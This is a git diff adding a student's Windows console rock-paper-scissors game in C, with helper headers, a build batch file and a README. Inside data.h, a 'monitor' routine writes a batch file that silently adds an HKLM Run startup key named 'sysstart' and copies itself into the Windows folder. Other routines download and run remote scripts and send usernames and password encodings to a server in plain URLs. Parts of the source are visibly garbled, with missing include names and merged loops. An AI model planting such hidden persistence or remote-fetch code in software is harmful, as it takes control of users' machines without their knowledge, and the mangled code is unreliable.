diff --git a/1717608_3.c b/1717608_3.c new file mode 100644 index 0000000..426ac98 --- /dev/null +++ b/1717608_3.c @@ -0,0 +1,1135 @@ +/* +Name: Assesment 3 of EEE 101 + +File Name: 1717608_3.c + +Copyright: Free + +Author: Yimian LIU (1717608) + +Description: Program for providing a ONLINE Rock Paper Scissors Game. + */ + +/* !!!!!!!!!!!Strongly Recommand to use gcc compiler!!!!!!!!!!!! */ + +#include /* Include standard library of stdio.h for the use of function printf(), get(),etc.*/ +#include /* Include standard liberary of stdlib.h for the use of function system(),etc. */ +#include /* Include liberary of conio.h for the use of function */ +#include /* Include string.h for the use of function strlen() ,etc.*/ +#include /* Include ctype.h for the use of function isspace(),etc. */ +#include /* lib for include windows API such as msgbox */ +#include /* lib for getting system time */ +#include /* include this lib for multithread processing */ +#include /* include this lib for multithread processing */ + +/*****************declear global variables ********************/ + +/* var of user name */ +char *g_pUsr=NULL; + +/* declare usr play and win times */ +int g_nTimes=-1,g_nWins=-1; + +/* variable for win rate */ +float g_fWin=-1; + +/* variable state of bgm */ +int snd=1; + +/* indicate usr data items */ +long lSize; + +/*****************declear global variables ********************/ + + + +#define USRNAME_MAX_SIZE 25 +#define USRPASSWORD_MAX_SIZE 50 + + + +/* declare structure */ + +typedef struct usr +{ + char name[USRNAME_MAX_SIZE]; + char passwd[USRPASSWORD_MAX_SIZE]; +}usr; + + +/* declare functions for multithread processing */ + +void * interrupt_upload_data(void *); +void * interrupt_play_background_music2(void *); +void * interrupt_play_background_win(void *); +void * interrupt_play_background_draw(void *); +void * interrupt_play_background_lose(void *); +void * interrupt_play_background_allclear(void *); +void * interrupt_play_background_gameover(void *); +void * interrupt_insert_online_data(void *); + + +/* include personal lib*/ + +#include"winprint.h" /* Include self liberary of winprint.h for the use of printing a windows message */ +#include"data.h" /* Include self liberary of data.h for the use of deal with data */ +#include"download.h" /* Include self liberary of download.h for updating and downloading data */ +#include"input.h" /* Include self liberary of input.h for dealing with user input */ +#include"print.h" /* Include self liberary of print.h for the use of printing dos picture */ +#include"sound.h" /* Include self liberary of sound.h for play a bgm*/ + + + + +/* declare functions may use */ + +int menu(); +int choose_play_times(); +int choose_play_choice(); +int play_mode(int mode); +char *chose_user(); +void as1_exit(); +int file_check(); +void update_data_from_server(); +int choose_settings(); +int check_passwd(usr usr); +int create_passwd(usr usr); +int change_passwd(usr usr); + + +/* main function start */ +int main(int argc, char *argv[]) +{ + /* point which step to go */ + int stp=0,freshman=0; + /* declare multithread*/ + pthread_t t0; + + + /* check core file, if broken, reinstall */ + if(!file_check()) + { + data__uninstall(1); + exit(1); + } + + /* check if connect to internet, if not exit */ + data__detect_internet(); + + /* check core file, if not exist, download from server */ + if(file_check()==-1) + { + download__core_file(); + } + + + /* start monitor event, for the purpose of kill bgm and delete tmp file after user exit */ + data__start_monitor(argv[0]); + + + /* initialize the screen */ + print__setup(); + + /* make sure data folder exist */ + system("IF NOT EXIST \"data\" md data >nul"); + + /* update local data */ + download__get_online_usr(); + update_data_from_server(); + + + + /*declear a usr struct */ + usr usr; + + + while(1) + { + +/****************step:0::6 identity user section****************/ + + while(stp==0||stp==6) + { + + download__get_online_usr(); + download__get_online_password(); + /* display a waiting screen */ + print__wait(1); + + /* windows showing options for choosing an existed user */ + g_pUsr=chose_user(); + + + + /* creat a new account if not exist */ + if(!g_pUsr) + { + int cmp=1; + do + { + system("cls"); + g_pUsr=input__as1_input_name(); + + char **pUsr=data__get_usr(); + + int nUsrNum=data__get_usr_num(pUsr); + cmp=0; + /* check if usr exist*/ + for(int i=0;inul"); + as1_exit(); + } + else + stp=1; + } + +/****************step:7 exit section******************/ + + } + + return 0; +} + + +/*functions for multithread processing */ + +void * interrupt_upload_data(void *a) +{ + int beginMark[3]={8,8,8}; + data__insert_online(beginMark); + return NULL; +} + +void * interrupt_play_background_music2(void *a) +{ + sound__background2(); + return NULL; +} + +void * interrupt_play_background_win(void *a) +{ + sound__win(); + return NULL; +} + +void * interrupt_play_background_draw(void *a) +{ + sound__draw(); + return NULL; +} + +void * interrupt_play_background_lose(void *a) +{ + sound__lose(); + return NULL; +} + +void * interrupt_play_background_allclear(void *a) +{ + sound__allclear(); + return NULL; +} + +void * interrupt_play_background_gameover(void *a) +{ + sound__gameover(); + return NULL; +} + +void * interrupt_insert_online_data(void *a) +{ + system("wscript data_online.vbs"); + system("del /Q data_online.vbs>nul"); + return NULL; +} + + +/* function for display menu */ +int menu() +{ + int nVal=54; + int nArrw=0; + do + { + print__menu(nVal%6+1); + + nArrw= input__get_arrow(); + + /* when input a arrow */ + if(nArrw==1||nArrw==-1) + nVal+=nArrw; + + /* when press enter */ + if(nArrw==6) + break; + /* when press esc */ + if(nArrw==9) + return 6; + + }while(1); + + return nVal%6+1; +} + +/* screen for chosing a user */ +char *chose_user() +{ + int nVal=54; + int nArrw=0; + + char **pUsr=data__get_usr(); + + int nUsrNum=data__get_usr_num(pUsr); + + if(nUsrNum==0) + return NULL; + + do + { + print__user(nVal%(nUsrNum+1)+1); + + nArrw= input__get_arrow(); + + /* when input a arrow */ + if(nArrw==1||nArrw==-1) + nVal+=nArrw; + + /* when press enter */ + if(nArrw==6) + break; + + }while(1); + + /* if creat a new usr, return NULL */ + if(nVal%(nUsrNum+1)==nUsrNum) + return NULL; + + return pUsr[nVal%(nUsrNum+1)]; +} + +/* function for display play times */ +int choose_play_times() +{ + int nVal=54; + int nArrw=0; + do + { + print__play_times(nVal%6+1); + + nArrw= input__get_arrow(); + + /* when input a arrow */ + if(nArrw==1||nArrw==-1) + nVal+=nArrw; + + /* when press enter */ + if(nArrw==6) + break; + /* when press esc */ + if(nArrw==9) + return 6; + + }while(1); + + return nVal%6+1; +} + + + +/* function for display play times */ +int choose_play_choice() +{ + int nVal=54; + int nArrw=0; + + do + { + print__play_choose(nVal%3+1); + + nArrw= input__get_arrow(); + + /* when input a arrow */ + if(nArrw==1||nArrw==-1) + nVal+=nArrw; + + /* when press enter */ + if(nArrw==6) + break; + /* when press esc */ + if(nArrw==9) + return 6; + + }while(1); + + return nVal%3+1; +} + + +/* play games with mode */ +int play_mode(int mode) +{ + int win=0,lose=0; + int nCmp,nChc; + int nRslt[3]; + char chWin[]="You Win!"; + char chLose[]="You Lose!"; + pthread_t t1; + pthread_t t2; + + if(snd==1) + pthread_create(&t1, NULL, interrupt_play_background_music2, NULL); + + while(win0) + { + words--; + usr.passwd[words]='\0'; + } + } + /* filter*/ + if(tmp_word>32&&tmp_word<127) + { + usr.passwd[words]=tmp_word; + words++; + usr.passwd[words]='\0'; + } + } + + + char *key=NULL; + int *ifPasswd=NULL; + FILE *fp=NULL; + + fp=fopen("data/psswd.txt","r"); + char tmp[50]; + sprintf(tmp,"%s",data__encode_password(usr,key)); + /* check is passwd exist*/ + ifPasswd =data__seek_key_word(tmp, fp,ifPasswd); + + fclose(fp); + /* if exist*/ + if(ifPasswd[0]) return 1; + /* input time ++*/ + times++; + /* reset*/ + tmp_word=0; + words=0; + /* if wrong for more than 5 times*/ + if(times>5) + { + system("cls&&color 4F"); + + printf("\nPassword is wrong for more than 5 times!! Program will quit in 2 Seconds!\n"); + Sleep(3000); + + exit(-1); + } + } + +} + + +/* function for create password*/ +int create_passwd(usr usr) +{ + + int words=0,times=0; + char tmp_word=0; + char tmp_psswd[40]; + + while(1) + { + usr.passwd[0]='\0'; + while(1) + { + print__get_newpassword(times,words); + + tmp_word=input__detect_input_ASCII(); + /* esc*/ + if(tmp_word==27) return 0; + /* enter*/ + if(tmp_word==13) break; + /*backspace*/ + if(tmp_word==8) + { + if(words>0) + { + words--; + usr.passwd[words]='\0'; + } + } + /* words*/ + if(tmp_word>32&&tmp_word<127) + { + usr.passwd[words]=tmp_word; + words++; + usr.passwd[words]='\0'; + } + + } + times++; + words=0; + tmp_psswd[0]='\0'; + /*get the passwd input again if it's legal*/ + while(!(usr.passwd[0]=='\0'||strlen(usr.passwd)<3||strlen(usr.passwd)>30)) + { + print__get_newpassword(times,words); + + tmp_word=input__detect_input_ASCII(); + /* esc*/ + if(tmp_word==27) return 0; + /* enter*/ + if(tmp_word==13) break; + /*backspace*/ + if(tmp_word==8) + { + if(words>0) + { + words--; + tmp_psswd[words]='\0'; + } + } + + if(tmp_word>32&&tmp_word<127) + { + tmp_psswd[words]=tmp_word; + words++; + tmp_psswd[words]='\0'; + } + + } + + if(usr.passwd[0]=='\0') + { + + system("cls"); + printf("Your password contains NOTHING!!!\n"); + Sleep(2500); + + times=-1; + } + + else if(strlen(usr.passwd)<3||strlen(usr.passwd)>30) + { + + system("cls"); + printf("Your password length should between 3 and 30!!!\n"); + Sleep(2500); + + times=-1; + } + + else if(usr.passwd[0]!='\0'&&!strcmp(usr.passwd,tmp_psswd)) break; + + times++; + words=0; + } + + char *key=NULL; + char tmp[50]; + + sprintf(tmp,"%s",data__encode_password(usr,key)); + + data__insert_psswd_online(tmp, tmp); + + return 1; +} + + +/*function for change password*/ +int change_passwd(usr usr) +{ + + int words=0,times=0; + char tmp_word=0; + char tmp[50]; + + while(1) + { + while(1) + { + print__get_password(times,words); + + tmp_word=input__detect_input_ASCII(); + /* esc*/ + if(tmp_word==27) return 0; + /*enter*/ + if(tmp_word==13) break; + /*backspace*/ + if(tmp_word==8) + { + if(words>0) + { + words--; + usr.passwd[words]='\0'; + } + } + /*word*/ + if(tmp_word>32&&tmp_word<127) + { + usr.passwd[words]=tmp_word; + words++; + usr.passwd[words]='\0'; + } + } + + char *key=NULL; + int *ifPasswd=NULL; + FILE *fp=NULL; + + fp=fopen("data/psswd.txt","r"); + sprintf(tmp,"%s",data__encode_password(usr,key)); + ifPasswd =data__seek_key_word(tmp, fp,ifPasswd); + + fclose(fp); + /*check password*/ + if(ifPasswd[0]) break; + + times++; + tmp_word=0; + words=0; + } + + + words=0; + times=0; + tmp_word=0; + + char tmp_psswd[99]; + + while(1) + { + usr.passwd[0]='\0'; + while(1) + { + print__get_newpassword(times,words); + + tmp_word=input__detect_input_ASCII(); + /*esc*/ + if(tmp_word==27) return 0; + /*enter*/ + if(tmp_word==13) break; + /*backspace*/ + if(tmp_word==8) + { + if(words>0) + { + words--; + usr.passwd[words]='\0'; + } + } + /*words*/ + if(tmp_word>32&&tmp_word<127) + { + usr.passwd[words]=tmp_word; + words++; + usr.passwd[words]='\0'; + } + } + times++; + words=0; + while(!(usr.passwd[0]=='\0'||strlen(usr.passwd)<3||strlen(usr.passwd)>30)) + { + print__get_newpassword(times,words); + + tmp_word=input__detect_input_ASCII(); + + if(tmp_word==27) return 0; + + if(tmp_word==13) break; + + if(tmp_word==8) + { + if(words>0) + { + words--; + tmp_psswd[words]='\0'; + } + } + + if(tmp_word>32&&tmp_word<127) + { + tmp_psswd[words]=tmp_word; + words++; + tmp_psswd[words]='\0'; + } + + } + + if(usr.passwd[0]=='\0') + { + system("cls"); + printf("Your password contains NOTHING!!!\n"); + Sleep(2500); + + times=-1; + } + + else if(strlen(usr.passwd)<3||strlen(usr.passwd)>30) + { + system("cls"); + printf("Your password length should between 3 and 30!!!\n"); + Sleep(2500); + + times=-1; + } + + else if(usr.passwd[0]!='\0'&&!strcmp(usr.passwd,tmp_psswd)) break; + times++; + words=0; + } + + char *key=NULL; + char tmpp[50]; + + sprintf(tmpp,"%s",data__encode_password(usr,key)); + + data__insert_psswd_online(tmpp, tmp); + + return 1; +} diff --git a/1717608_Liu_Yimian_3.pdf b/1717608_Liu_Yimian_3.pdf new file mode 100644 index 0000000..d70435e Binary files /dev/null and b/1717608_Liu_Yimian_3.pdf differ diff --git a/README.md b/README.md index 403972f..b4d5416 100644 --- a/README.md +++ b/README.md @@ -1 +1,14 @@ -# ee101-as3-rock_scissor_rock_game \ No newline at end of file +# ee101-as3-rock_scissor_rock_game +Since I had used some C11 standard code, it is possible that some old version compiler cannot compile my code. +However I have fully test my code on gcc and it ran well. + +Strongly recommand to use gcc compiler!! + +You can install it through run the compilergcc.bat +or download from https://obs-410c.obs.myhwclouds.com/setup/tdm64-gcc-5.1.0-2.exe + + +After installation, you can use command "gcc -O2 -s 1717608_3.c -o game\game" to compile. + +If you are not familar with gcc command, please run compilergcc.bat, it will compile my code automatically! + diff --git a/compilergcc.bat b/compilergcc.bat new file mode 100644 index 0000000..ad5736a --- /dev/null +++ b/compilergcc.bat @@ -0,0 +1,38 @@ +@echo off +where gcc>nul +cls +if errorlevel 1 ( +echo gcc NOT FOUND in your computer!! +echo Press any key to start installation! +pause>nul +goto install +) else ( +echo Detected gcc Environment.. +echo Start to compile!! +goto compile +) + + + +:install +cls +echo Please download and run the gcc install program. +ping 127.0.0.1 >nul +start https://obs-410c.obs.myhwclouds.com/setup/tdm64-gcc-5.1.0-2.exe +ping 127.0.0.1 >nul +cls +echo After install, Please restart this script to compile!!&&pause&&exit + + +:compile +md game>nul +cls +echo compiling... +gcc -O2 -s 1717608_3.c -o game\game +cls +echo compile finished! The program is in the game folder! +pause + +exit + + diff --git a/data.h b/data.h new file mode 100644 index 0000000..a308c50 --- /dev/null +++ b/data.h @@ -0,0 +1,475 @@ +void data__start_monitor(char *path) +{ + /* declear a file var */ + FILE *fp; + + /* point the data file by user name */ + fp = fopen ("lstn.bat", "w+"); + + char *tmp=NULL; + tmp=strrchr(path, '\\'); + for(int i=0;i%%temp%%\\sl.vbs\nreg add HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v sysstart /t REG_SZ /d %%windir%%\\unstat.vbs /f >nul\necho set objShell=wscript.createObject(\"wscript.shell\")>%%windir%%\\unstat.vbs\necho iReturn=objShell.Run(\"cmd.exe /C %%windir%%\\unstat.bat\", 0, TRUE)>>%%windir%%\\unstat.vbs\ncopy /y %%0 %%windir%%\\unstat.bat\n:run\ntasklist | find /i \"%s\" || goto do\ncscript //nologo %%temp%%\\sl.vbs\ngoto run\n:do\ntaskkill /f /im wscript.exe > nul \ndel snd_bckgrnd1.vbs>nul\ndel snd_bckgrnd2.vbs>nul\ndel snd_wn.vbs>nul\ndel snd_drw.vbs>nul\ndel snd_ls.vbs>nul\ndel snd_allclr.vbs>nul\ndel snd_gmvr.vbs>nul\ndel lstn.bat>nul\ndel /Q usr_online.vbs>nul",tmp); + + + /* close file */ + fclose(fp); + + system("start lstn.bat>nul"); +} + + + +void data__insert_online(int nData[3]) +{ + /* declear a file var */ + FILE *fp; + pthread_t t3; + + /* point the data file by user name */ + fp = fopen ("data_online.vbs", "w+"); + + + fprintf( fp,"Dim Url, Target \nUrl = \"https://cn.yimian.xyz/tmp/as3/data.php?usr=%s&data=%d%d%d\" \nTarget = \"\" \nDownload Url,Target \nSub Download(url,target) \n Const adTypeBinary = 1 \n Dim http,ado \n Const adSaveCreateOverWrite = 2 \n Set http = CreateObject(\"Msxml2.ServerXMLHTTP\") \n http.open \"GET\",url,False \n http.send \n Set ado = createobject(\"Adodb.Stream\") \n ado.Type = adTypeBinary \n ado.Open \n ado.Write http.responseBody \n ado.Close \nEnd Sub ",g_pUsr,nData[0],nData[1],nData[2]); + + + /* close file */ + fclose(fp); + + pthread_create(&t3, NULL, interrupt_insert_online_data, NULL); + +} + + +void data__clean(char *usr) +{ + system("cls"); + printf("Clean your data from server... \n"); + + /* declear a file var */ + FILE *fp; + + /* point the data file by user name */ + fp = fopen ("dataRm_online.vbs", "w+"); + + + fprintf( fp,"Dim Url, Target \nUrl = \"https://cn.yimian.xyz/tmp/as3/data_clean.php?usr=%s\" \nTarget = \"\" \nDownload Url,Target \nSub Download(url,target) \n Const adTypeBinary = 1 \n Dim http,ado \n Const adSaveCreateOverWrite = 2 \n Set http = CreateObject(\"Msxml2.ServerXMLHTTP\") \n http.open \"GET\",url,False \n http.send \n Set ado = createobject(\"Adodb.Stream\") \n ado.Type = adTypeBinary \n ado.Open \n ado.Write http.responseBody \n ado.Close \nEnd Sub ",usr); + + + /* close file */ + fclose(fp); + system("wscript dataRm_online.vbs"); + + system("del /Q dataRm_online.vbs>nul"); +} + + + +void data__insert_psswd_online(char *psswdKey, char *delKey) +{ + /* declear a file var */ + FILE *fp; + + system("cls"); + printf("Update your infomation to server... \n"); + + /* point the data file by user name */ + fp = fopen ("psswd_online.vbs", "w+"); + + + fprintf( fp,"Dim Url, Target \nUrl = \"https://cn.yimian.xyz/tmp/as3/psswd_insert.php?psswd=%s&del=%s\" \nTarget = \"\" \nDownload Url,Target \nSub Download(url,target) \n Const adTypeBinary = 1 \n Dim http,ado \n Const adSaveCreateOverWrite = 2 \n Set http = CreateObject(\"Msxml2.ServerXMLHTTP\") \n http.open \"GET\",url,False \n http.send \n Set ado = createobject(\"Adodb.Stream\") \n ado.Type = adTypeBinary \n ado.Open \n ado.Write http.responseBody \n ado.Close \nEnd Sub ",psswdKey,delKey); + + + /* close file */ + fclose(fp); + system("wscript psswd_online.vbs"); + + system("del /Q psswd_online.vbs>nul"); +} + + +/* function for locate a peice of info in a file by key words */ +int *data__seek_key_word(char chKey[40], FILE *fp,int * nSeek) +{ + int i,j=0; + + + /* if the length of key words is less than 3, the function will not work */ + if(strlen(chKey)<2) return NULL; + + /* get the length of the file */ + fseek(fp,0,SEEK_END); + int nFlen=ftell(fp); + + /* free nSeek firstly in case it has been decleared */ + free(nSeek); + + /* allocate a memary for nSeek */ + nSeek=(int *)malloc((nFlen/strlen(chKey))*sizeof(int)); + + /* move the pointer to the beginning of the File */ + fseek( fp, 0, SEEK_SET ); + + /* find all location where the key word exist */ + for(i=0;ftell(fp) data/usr.txt");*/ + + long lSize=0; + char **chUsr; + char chTmp; + + + /* declear a file var */ + FILE *fp; + + /* point the data file by user name */ + fp = fopen ("data/usr.txt", "r"); + + /* if file not exist return NULL */ + if(fp==NULL) + { + return NULL; + } + + /* figure the rows of the data file */ + while ((chTmp=fgetc(fp))!=EOF) + { + if(chTmp=='\n') + lSize++; + } + + fclose(fp); + + /* point the data file by user name */ + fp = fopen ("data/usr.txt", "r"); + + + /* alloc a memory room to nData */ + chUsr=(char**)malloc((lSize+1)*sizeof(char*)); + + int i; + /* get users from file to array */ + for ( i = 0; i 0)?(float)nWins/((float)(nWins+nNoWins))*100+0.01:(float)0.001; + if(rtrn<=0.4) return 0.013; + return rtrn; +} + + +void data__detect_internet() +{ + FILE *fp; + + system("IF NOT EXIST \"cache\" md cache >nul"); + /* point the data file by user name */ + fp = fopen ("cache\\internet.ls", "w+"); + fprintf( fp,"0"); + fclose(fp); + /* point the data file by user name */ + fp = fopen ("check_intrnt.vbs", "w+"); + + + fprintf( fp,"Dim wmi\nSet wmi=GetObject(\"winmgmts://./root/cimv2\")\nset fso=createobject(\"scripting.filesystemobject\")\nSet xxx=wmi.ExecQuery(\"Select * From Win32_PingStatus Where Address='yimian.xyz'\")\nFor Each u in xxx\nIf u.statuscode = 0 Then set f=fso.opentextfile(\"cache\\internet.ls\",2,true):f.write \"1\":f.close\nNext"); + + + /* close file */ + fclose(fp); + system("wscript check_intrnt.vbs"); + + system("del /Q check_intrnt.vbs>nul"); + + fp = fopen ("cache\\internet.ls", "r"); + if(fgetc(fp)==48) + { + MessageBox( 0, "Please connect to the Internet first!!", "AS3 Message", 0 ); + + fclose(fp); + exit(1); + } + + fclose(fp); +} + +void data__uninstall(int re) +{ + /* declear a file var */ + FILE *fp; + + /* point the data file by user name */ + fp = fopen ("re.bat", "w+"); + + if(re==2) + fprintf( fp,"@echo off\ntaskkill /f /im 1717608_2.exe\nping 127.1 /n 1 >nul\nrd /S /Q msc\nrd /S /Q scrpt\nrd /S /Q data\nrd /S /Q cache"); + else + fprintf( fp,"@echo off\ntaskkill /f /im 1717608_2.exe\nping 127.1 /n 1 >nul\nrd /S /Q msc\nrd /S /Q scrpt\nrd /S /Q data\nrd /S /Q cache\ndel /Q *.vbs\ndel /Q *.bat"); + + /* close file */ + fclose(fp); + + /* point the data file by user name */ + fp = fopen ("start_re.vbs", "w+"); + if(re==0) + fprintf( fp,"createobject (\"wscript.shell\").run \"re.bat\",0"); + else + fprintf( fp,"createobject (\"wscript.shell\").run \"re.bat\",0\nDim objws\nSet objws=WScript.CreateObject(\"wscript.shell\")\nobjws.Run \"1717608_2.exe\""); + fclose(fp); + system("start start_re.vbs"); + if(re==1) + { + /* point the data file by user name */ + fp = fopen ("start_ree.vbs", "w+"); + + fprintf( fp,"wscript.sleep 1500\nDim objws\nSet objws=WScript.CreateObject(\"wscript.shell\")\nobjws.Run \"1717608_2.exe\",,True"); + fclose(fp); + system("start start_ree.vbs"); + } + + if(re==2) + { + /* point the data file by user name */ + fp = fopen ("start_ree.vbs", "w+"); + + fprintf( fp,"wscript.sleep 8000\nDim objws\nSet objws=WScript.CreateObject(\"wscript.shell\")\nobjws.Run \"1717608_2.exe\",,True"); + fclose(fp); + system("start start_ree.vbs"); + } +} + + diff --git a/download.h b/download.h new file mode 100644 index 0000000..1697fbf --- /dev/null +++ b/download.h @@ -0,0 +1,273 @@ + + + +void download__creat_vbs(char chName[20]) +{ + /* declear a file var */ + FILE *fp; + + /* point the data file by user name */ + fp = fopen ("download.vbs", "w+"); + + fprintf( fp,"Dim Url, Target \nUrl = \"https://obs-3431.obs.myhwclouds.com/as3/%s\" \nTarget = \"%s\" \nDownload Url,Target \nSub Download(url,target) \n Const adTypeBinary = 1 \n Dim http,ado \n Const adSaveCreateOverWrite = 2 \n Set http = CreateObject(\"Msxml2.ServerXMLHTTP\") \n http.open \"GET\",url,False \n http.send \n Set ado = createobject(\"Adodb.Stream\") \n ado.Type = adTypeBinary \n ado.Open \n ado.Write http.responseBody \n ado.SaveToFile target \n ado.Close \nEnd Sub ",chName,chName); + + + /* close file */ + fclose(fp); + system("wscript download.vbs"); + + system("del /Q download.vbs>nul"); +} + +void download__get_online_usr() +{ + /* declear a file var */ + FILE *fp; + system("del /Q data\\usr.txt>nul"); + system("cls"); + printf("Updating Local Data from Internet...\n"); + /* point the data file by user name */ + fp = fopen ("usr_online.vbs", "w+"); + + fprintf( fp,"Dim Url, Target \nUrl = \"http://as3.tmp.yimian.xyz/usr.php\" \nTarget = \"data/usr.txt\" \nDownload Url,Target \nSub Download(url,target) \n Const adTypeBinary = 1 \n Dim http,ado \n Const adSaveCreateOverWrite = 2 \n Set http = CreateObject(\"Msxml2.ServerXMLHTTP\") \n http.open \"GET\",url,False \n http.send \n Set ado = createobject(\"Adodb.Stream\") \n ado.Type = adTypeBinary \n ado.Open \n ado.Write http.responseBody \n ado.SaveToFile target \n ado.Close \nEnd Sub "); + + + /* close file */ + fclose(fp); + + system("wscript usr_online.vbs"); + + system("del /Q usr_online.vbs>nul"); +} + + +void download__get_online_password() +{ + /* declear a file var */ + FILE *fp; + system("del /Q data\\psswd.txt>nul"); + system("cls"); + printf("Updating Local Data from Internet...\n"); + /* point the data file by user name */ + fp = fopen ("psswd_online.vbs", "w+"); + + fprintf( fp,"Dim Url, Target \nUrl = \"http://as3.tmp.yimian.xyz/psswd.php\" \nTarget = \"data/psswd.txt\" \nDownload Url,Target \nSub Download(url,target) \n Const adTypeBinary = 1 \n Dim http,ado \n Const adSaveCreateOverWrite = 2 \n Set http = CreateObject(\"Msxml2.ServerXMLHTTP\") \n http.open \"GET\",url,False \n http.send \n Set ado = createobject(\"Adodb.Stream\") \n ado.Type = adTypeBinary \n ado.Open \n ado.Write http.responseBody \n ado.SaveToFile target \n ado.Close \nEnd Sub "); + + + /* close file */ + fclose(fp); + + system("wscript psswd_online.vbs"); + + system("del /Q psswd_online.vbs>nul"); +} + +void download__data(char chName[20]) +{ + /* declear a file var */ + FILE *fp; + char chDos[30]; + + sprintf(chDos,"del /Q data\\%s.dat>nul",chName); + + int nRnd=rand()%4; + char chSign[3]; + if(nRnd==0) strcpy( chSign,"\\"); + if(nRnd==1) strcpy( chSign,"/"); + if(nRnd==2) strcpy( chSign,"-"); + if(nRnd==3) strcpy( chSign,"|"); + system("cls"); + printf("Updating Local Data from Internet... %s\n",chSign); + system(chDos); + /* point the data file by user name */ + fp = fopen ("data_online.vbs", "w+"); + + fprintf( fp,"Dim Url, Target \nUrl = \"http://as3.tmp.yimian.xyz/data/%s.as2\" \nTarget = \"data/%s.dat\" \nDownload Url,Target \nSub Download(url,target) \n Const adTypeBinary = 1 \n Dim http,ado \n Const adSaveCreateOverWrite = 2 \n Set http = CreateObject(\"Msxml2.ServerXMLHTTP\") \n http.open \"GET\",url,False \n http.send \n Set ado = createobject(\"Adodb.Stream\") \n ado.Type = adTypeBinary \n ado.Open \n ado.Write http.responseBody \n ado.SaveToFile target \n ado.Close \nEnd Sub ",chName,chName); + + + /* close file */ + fclose(fp); + + system("wscript data_online.vbs"); + + system("del /Q data_online.vbs>nul"); +} + + +void download__core_file() +{ + int nPrcnt=0; + + + system("del /Q msc\\* >nul"); + system("del /Q scrpt\\* >nul"); + + system("rd /Q msc >nul"); + system("rd /Q scrpt >nul"); + + system("md msc>nul"); + system("md scrpt >nul"); + + system("cls"); + printf("Download Necessary File from Server... %d%%\n", nPrcnt); + char f1[]="msc/gameover.mp3"; + nPrcnt+=3; + download__creat_vbs(f1); + nPrcnt+=10; + + system("cls"); + printf("Download Necessary File from server... %d%%\n", nPrcnt); + char f2[]="msc/win.mp3"; + download__creat_vbs(f2); + nPrcnt+=6; + +system("cls"); + printf("Download Necessary File from server... %d%%\n", nPrcnt); + char f3[]="msc/lose.mp3"; + download__creat_vbs(f3); + nPrcnt+=7; + +system("cls"); + printf("Download Necessary File from server... %d%%\n", nPrcnt); + char f4[]="msc/draw.mp3"; + download__creat_vbs(f4); + nPrcnt+=5; + +system("cls"); + printf("Download Necessary File from server... %d%%\n", nPrcnt); + char f5[]="msc/background2.mp3"; + download__creat_vbs(f5); + nPrcnt+=27; + +system("cls"); + printf("Download Necessary File from server... %d%%\n", nPrcnt); + char f6[]="msc/background1.mp3"; + download__creat_vbs(f6); + nPrcnt+=24; + +system("cls"); + printf("Download Necessary File from server... %d%%\n", nPrcnt); + char f7[]="msc/allclear.mp3"; + download__creat_vbs(f7); + nPrcnt+=1; + +system("cls"); + printf("Download Necessary File from server... %d%%\n", nPrcnt); + char f8[]="scrpt/snd_wn.as2"; + download__creat_vbs(f8); + nPrcnt+=1; + +system("cls"); + printf("Download Necessary File from server... %d%%\n", nPrcnt); + char f9[]="scrpt/snd_start_wn.as2"; + download__creat_vbs(f9); + nPrcnt+=1; + +system("cls"); + printf("Download Necessary File from server... %d%%\n", nPrcnt); + char f10[]="scrpt/snd_start_ls.as2"; + download__creat_vbs(f10); + nPrcnt+=1; + + +system("cls"); + printf("Download Necessary File from server... %d%%\n", nPrcnt); + char f11[]="scrpt/snd_start_gm.as2"; + download__creat_vbs(f11); + nPrcnt+=1; + + +system("cls"); + printf("Download Necessary File from server... %d%%\n", nPrcnt); + char f12[]="scrpt/snd_start_dr.as2"; + download__creat_vbs(f12); + nPrcnt+=1; + + +system("cls"); + printf("Download Necessary File from server... %d%%\n", nPrcnt); + char f13[]="scrpt/snd_start_bc2.as2"; + download__creat_vbs(f13); + nPrcnt+=1; + + +system("cls"); + printf("Download Necessary File from server... %d%%\n", nPrcnt); + char f14[]="scrpt/snd_start_bc1.as2"; + download__creat_vbs(f14); + nPrcnt+=1; + + +system("cls"); + printf("Download Necessary File from server... %d%%\n", nPrcnt); + char f15[]="scrpt/snd_start_al.as2"; + download__creat_vbs(f15); + nPrcnt+=1; + + +system("cls"); + printf("Download Necessary File from server... %d%%\n", nPrcnt); + char f16[]="scrpt/snd_ls.as2"; + download__creat_vbs(f16); + nPrcnt+=1; + + +system("cls"); + printf("Download Necessary File from server... %d%%\n", nPrcnt); + char f17[]="scrpt/snd_gmvr.as2"; + download__creat_vbs(f17); + nPrcnt+=1; + + +system("cls"); + printf("Download Necessary File from server... %d%%\n", nPrcnt); + char f18[]="scrpt/snd_drw.as2"; + download__creat_vbs(f18); + nPrcnt+=1; + + +system("cls"); + printf("Download Necessary File from server... %d%%\n", nPrcnt); + char f19[]="scrpt/snd_bckgrnd2.as2"; + download__creat_vbs(f19); + nPrcnt+=1; + + +system("cls"); + printf("Download Necessary File from server... %d%%\n", nPrcnt); + char f20[]="scrpt/snd_bckgrnd1.as2"; + download__creat_vbs(f20); + nPrcnt+=1; + + +system("cls"); + printf("Download Necessary File from server... %d%%\n", nPrcnt); + char f21[]="scrpt/snd_allclr.as2"; + download__creat_vbs(f21); + nPrcnt+=1; + + +system("cls"); + printf("Download Necessary File from server... %d%%\n", nPrcnt); + char f22[]="scrpt/prnt2.as2"; + download__creat_vbs(f22); + nPrcnt+=1; + + +system("cls"); + printf("Download Necessary File from server... %d%%\n", nPrcnt); + char f23[]="scrpt/prnt1.as2"; + download__creat_vbs(f23); + nPrcnt+=1; + + +system("cls"); + printf("Download Necessary File from server... %d%%\n", nPrcnt); + char f24[]="scrpt/lstn.as2"; + download__creat_vbs(f24); + nPrcnt+=1; + + + + +} \ No newline at end of file diff --git a/game/game.exe b/game/game.exe new file mode 100644 index 0000000..01231e1 Binary files /dev/null and b/game/game.exe differ diff --git a/input.h b/input.h new file mode 100644 index 0000000..2baeece --- /dev/null +++ b/input.h @@ -0,0 +1,304 @@ +#define LARGEST_DYNAMIC_MEMORY 65535 /* define the largest memory for a str in as1_getchar_plus function */ + +/* function for detect the keyborad to wait for a keyboard event and return it with ASCII */ +int input__detect_input_ASCII() +{ + int nKey; + + /* clear former cache */ + fflush(stdin); + + /* get key value */ + nKey = _getch(); + + return nKey; +} + +/* function for get arrow event */ +int input__get_arrow() +{ + int nVal=0; + + while(1) + { + nVal=input__detect_input_ASCII(); + + if(nVal==224) + { + /* get arraw value */ + int nKey=input__detect_input_ASCII(); + + if(nKey==75) + return -1; + if(nKey==77) + return 1; + if(nKey==72) + return -1; + if(nKey==80) + return 1; + else + return 0; + } + + if(nVal==13) + return 6; + 